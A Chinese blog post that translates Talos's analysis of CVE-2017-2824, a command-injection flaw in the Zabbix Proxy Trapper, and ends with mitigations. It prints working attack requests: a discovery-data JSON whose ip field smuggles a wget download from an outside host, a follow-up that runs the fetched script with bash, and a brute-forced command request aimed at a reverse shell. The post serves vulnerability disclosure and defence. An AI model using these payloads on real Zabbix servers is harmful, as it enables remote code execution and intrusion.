IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    Zabbix Proxy Trapper远程代码执行(CVE-2017-2824)

    admin发表于 2017-04-28 09:30:05
    love 0

    近日,Cisco Talos组织的向zabbix反馈了个远程代码执行漏洞,漏洞编号CVE-2017-2824,简单看了看,查了点资料,翻译整理下该漏洞。

    不熟悉zabbix proxy和zabbix server,不确定是不是server必须指定proxy才可以互相进行通信,还是任意proxy都可以向zabbix server发起请求。因此该漏洞是否鸡肋还不太确定,等搭建测试完才能知道是鸡肋还是危害较大。目前看还是有一些利用条件的,比如需要zabbix server配置Auto-discover/Auto registration功能,还有通信的时候有个key字段好像是zabbix server提前设定好的,不确定这个key如果不对,能不能discovery data成功,欢迎大神评论指点。

    Zabbix的Trapper功能是一个提供给Zabbix Proxy和Zabbix Server的网络服务,通过TCP端口10050进行通信,类似一种api服务,其中有”discovery data”和”command”这两个请求。

    其中command这个请求实际上调用的是Zabbix Server上给定主机的Scripts任务,在zabbix 2.4x版本,默认的有3条Scripts存在于mysql中的scripts表中,对应在zabbix server管理控制台上的功能是Administration-> Scripts-> Checkmarks,可以看到如下三条:

    # scriptid == 1 == /bin/ping -c {HOST.CONN} 2>&1
    # scriptid == 2 == /usr/bin/traceroute {HOST.CONN} 2>&1
    # scriptid == 3 == sudo /usr/bin/nmap -O {HOST.CONN} 2>&1

    问题在于,在调用脚本时,{HOST.CONN}字段实际上被主机的IP地址替换。替换{HOST.CONN}的值位于Zabbix.interface表中,并作为VARCHAR(64)存储在“IP”字段中。因此,如果攻击者可以将恶意命令注入到IP地址字段,并且脚本通过“command”请求运行,则将发生命令注入,并且可以获得反向shell。

    困难在于获取Zabbix.host表中的实际有效条目,默认情况下,未经身份验证的攻击者无法执行此操作,因此该CVE利用成功的前提是管理需要配置Zabbix Server的某些功能。Zabbix的一个便利特性是Auto-discover/Auto registration功能,可以根据代理提供的数据进行Zabbix Server的配置。更具体地说,如果主机向Zabbix Proxy呈现某些特性,它将自动添加到某些主机组并添加到hosts表中,但更重要的是,将在Zabbix.interface表中创建1个条目,其中IP地址由主机提供,不会对该字段进行任何验证。 因此,通过使用合适的主机向服务器发送“discovery data”请求,可以将命令注入到数据库中。用于利用服务器的请求如下所示:

    write_script_cmd = '{
    "request":"discovery data",
    "host":"zabbix-proxy.nxadmin.com",
    "clock":148535399, 
    "data":[{
         "clock":1485353070,
         "drule":88,
         "dcheck":174,
         "type":0,
         "ip":";wget -O /tmp/s http://www.nxadmin.com/s;#",        
         "dns":"nxadmin.com",
         "port":10050,
         "key":"nxadmintest",
        "status":0,
        "value":"el7<(^_^)>mcp"
    }]}'

    由于Zabbix.interface表中ip字段的长度是有限制的,因此还需要再发送一次”discovery data”的请求来注入执行/tmp/s的恶意命令,只需要将上面请求中ip的值修改成如下:

    "ip":"/bin/bash /tmp/s;"

    在将如上两条恶意命令注入到hosts字段之后,还需要使用command请求来执行上面的恶意命令,但是问题是不知道两条恶意命令对应的hostid。不过由于command请求成功和失败的回显是不同的,因此可以使用爆破hostid的方式来运行上面恶意的两条命令,command请求的格式如下:

    run_cmd = '{
    "request":"command",
    "scriptid":1,
    "hostid":14666
    }'

    从而可以利用/tmp/s反弹shell等等。

    漏洞影响版本:

    Zabbix 2.4.7 – 2.4.8r1

    修复建议:

    在Zabbix Server上增加ACL规则,限制10050端口允许通信的IP来源;

    删除zabbix server上默认的脚本,对应的功能Administration-> Scripts-> Checkmarks;

    Zabbix工程师的补丁修复建议包括在插入Zabbix.interface表中的ip字段时,验证所有的ip地址。

    有关zabbix proxy的简单介绍:

    Zabbix proxy是一个监控代理服务器,它收集监控到的数据,先存放在缓冲区,保存的时间可以通过配置文件设定,然后再传送到Zabbix server;监控代理需要一个单独的数据库,类似于一个分担zabbix server压力的功能,或者在多机房部署的时候,其中一个机房使用zabbix proxy 模式,然后统一上报给zabbix server。大概的架构图:

    Zabbix Proxy Trapper远程代码执行(CVE-2017-2824) - 第1张  | 阿德马Web安全

    原分析文章链接:

    http://blog.talosintelligence.com/2017/04/zabbix-multiple-vulns.html

     



沪ICP备19023445号-2号
友情链接